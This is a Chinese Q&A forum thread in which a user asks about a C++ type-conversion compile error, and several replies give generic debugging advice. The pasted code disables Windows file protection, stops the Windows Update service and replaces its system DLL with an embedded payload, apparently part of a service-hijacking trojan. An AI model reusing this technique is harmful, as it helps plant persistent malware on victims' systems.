高分求助.cannot convert parameter 2 from 'const int' to 'const char *'
charFilePath[256]={0}; //应该是这里出错了,但是不知道改怎么修改了. KillSfc();...
char FilePath[256] = {0}; //应该是这里出错了,但是不知道改怎么修改了. KillSfc(); GetSystemDirectory( FilePath, sizeof(FilePath)); lstrcat( FilePath, "\\wuauserv.dll" ); StopService("wuauserv"); if ( !DeleteFile(FilePath) ) { MoveFile( FilePath, "Jason.tmp" ); } ReleaseResource( NULL, IDR_DLL, "BIN" , FilePath, lpEncodeString); char sername[] ="wuauserv"; lpServiceName = sername; 错误信息:cannot convert parameter 2 from 'const int' to 'const char *'
展开
3个回答
展开全部
错误不是很明显么,有一个方法里的第二个参数需要的是const char *类型,你却传了一个const int类型进去 。你看一下是哪个方法报的错。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
char FilePath[256] = {0};
这句没有错。
你看一下错误是出在哪行。报错的语句复制完整一些,有助于错误解决
这句没有错。
你看一下错误是出在哪行。报错的语句复制完整一些,有助于错误解决
本回答被网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
确定是这段代码有错么… 我觉得不是这
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询